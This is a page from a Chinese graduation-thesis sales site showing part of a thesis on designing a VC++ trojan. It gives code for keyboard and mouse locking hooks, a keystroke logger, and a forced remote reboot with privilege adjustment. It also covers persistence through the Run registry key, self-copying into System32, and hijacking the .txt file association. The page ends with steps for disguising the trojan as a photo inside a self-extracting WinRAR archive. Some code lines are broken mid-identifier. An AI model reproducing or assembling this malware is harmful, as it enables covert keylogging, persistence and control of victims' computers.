网站导航网学 原创论文 网站设计 最新系统 最新研究 原创论文 获取论文 论文降重 发表论文 论文发表 UI设计定制 论文答辩PPT格式排版 期刊发表 论文专题
返回网学首页
网学原创论文
最新论文 推荐专题 热门论文 论文专题
当前位置: 网学 > 设计下载 > VC与C++类别 > 正文

基于VC++新型木马的设计

来源:http://myeducs.cn 联系QQ:点击这里给我发消息 作者: 用户投稿 来源: 网络 发布时间: 13/05/14

本文主要为广大网友提供“基于VC++新型木马的设计”,希望对需要基于VC++新型木马的设计网友有所帮助,学习一下!

QQ交谈客服咨询,网学网竭诚为您服务,本站永久域名:myeducs.cn

 

4.2.2 锁定鼠标和键盘
这个功能的实现方式如下:Client端点击按钮,发送消息到Server端。Server通过全局变量LockOrUnLockKey和LockOrUnLockMouse来判断是操作键盘还是鼠标,然后下相应的钩子(HOOK函数)来拦截Server端的消息来实现鼠标或键盘的锁定。
核心代码如下:
hhkLowLevelKybd2000=SetWindowsHookEx(WH_KEYBOA
RD_LL,LowLevelKeyboardProc,AfxGetApp()->m_hInstance,0);
4.2.3 远程注销、远程重启、远程关机
这三个功能都是调用ExitWindowsEx函数实现,所不同的是在WINDOWS NT以上的操作系统中,远程重启和关机需要把程序进程提权。由于注销比较简单,所以不做描述。又因远程重启和关机的实现比较类似,只是ExitWindowsEx的调用不同(重启EWX_REBOOT,关机EWX_SHUTDOWN),所以只列出了远程重启的代码。
核心代码如下:
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
DWORD dwVersion;
dwVersion=GetVersion();
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_
PRIVILEGES|TOKEN_QUERY,&hToken);
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.
Privileges[0].Luid);
tkp.PrivilegeCount=1;//设置本进程为特权
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)
NULL,0);
ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);
4.3 信息发送模块
核心代码如下:
char buff[100]={0};
CString msg;
int ret=0;
for(;;)
{
ret=recSo.Receive(buff,100);
if(ret==0)
break;
msg+=buff;
}
AfxMessageBox(msg);
4.4 击键记录模块
核心代码如下:
listenkeyhook = SetWindowsHookEx(WH_KEYBOARD_LL,ListenKeyProc,
AfxGetApp()->m_hInstance,0);
4.5 自加载技术
开机自启动是通过在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Micros
oft\Windows\CurrentVersion\Run中新建字符串值(REG_SZ)实现。文件关联是通过在注册表HKEY_CLASSES_ROOT\txtfile\shell\open\command中修改默认值实现。程序自我复制并设置为系统属性是通过调用CopyFile,SetFileAttributes这两个API函数实现。
在BOOL CRUNDLLApp::InitInstance()中添加以下代码
//获取System32的路径
GetSystemDirectory(SysPath,sizeof(SysPath));
//获取本程序当前路径和名字
GetModuleFileName(NULL,FilePathAndName,sizeof(FilePathAndName));
//设置system32下的程序为系统属性
SetFileAttributes(lpFileNewPathAndName,FILE_ATTRIBUTE_SYSTEM);
//判断System32下是否存在本文件
if(_access(lpFileNewPathAndName,0)!=0)
{
//如果不存在就拷贝
CopyFile(FilePathAndName,lpFileNewPathAndName,FALSE);
}
//开机自启动的注册表键值
LPCTSTR lpRegSubPath="Software\\Microsoft\\Windows\\
CurrentVersion\\Run";
HKEY hKey;
LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
lpRegSubPath,0,
KEY_WRITE,&hKey);
DWORD dwRet=strlen(lpFileNewPathAndName);
lRet=RegSetValueEx(hKey,lpRegKeyName,0,REG_SZ,
(BYTE*)lpFileNewPathAndName,dwRet);
RegCloseKey(hKey);
}
由于进行了TXT文件关联,为了防止每打开一个文件就运行一次程序,在BOOL CRUNDLLApp::InitInstance()中添加以下代码
//让程序只能运行一个实例
HANDLE hMutex;
hMutex=::CreateMutex(NULL,TRUE,m_pszAppName);
if(::GetLastError()==ERROR_ALREADY_EXISTS)
{::PostQuitMessage(0);
return FALSE;
}
4.6 木马程序的传播
本次设计的木马程序,采用WINRAR捆绑木马。其步骤如下:
首先选定Server端Rundll.exe和我的照片.jpg,添加为photo.rar。然后打开生成的这个RAR文件,点击工具栏上的自解压图标。如图6,我们在弹出的对话框中选择高级自解压选项,选择常规标签,在解压路径中填入解压的路径%systemroot%\temp,解压后运行中输入木马的Server端Rundll.exe,解压缩前运行中输入我的照片.jpg。生成后的程序运行时会先调用默认关联的图片查看程序来打开“我的照片.jpg”,等关闭这个图片查看程序后才会去运行“Rundll.exe”。
本站发布的计算机毕业设计均是完整无错的全套作品,包含开题报告+程序+论文+源代码+翻译+答辩稿PPT

本文选自计算机毕业设计http://myeducs.cn
论文文章部分只是部分简介,如需了解更多详情请咨询本站客服!QQ交谈QQ3710167

原创论文

设为首页 | 加入收藏 | 论文首页 |原创论文 |
版权所有 QQ:3710167 邮箱:3710167@qq.com 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
Copyright 2008-2020 myeducs.Cn www.myeducs.Cn All Rights Reserved 湘ICP备09003080号 常年法律顾问:王律师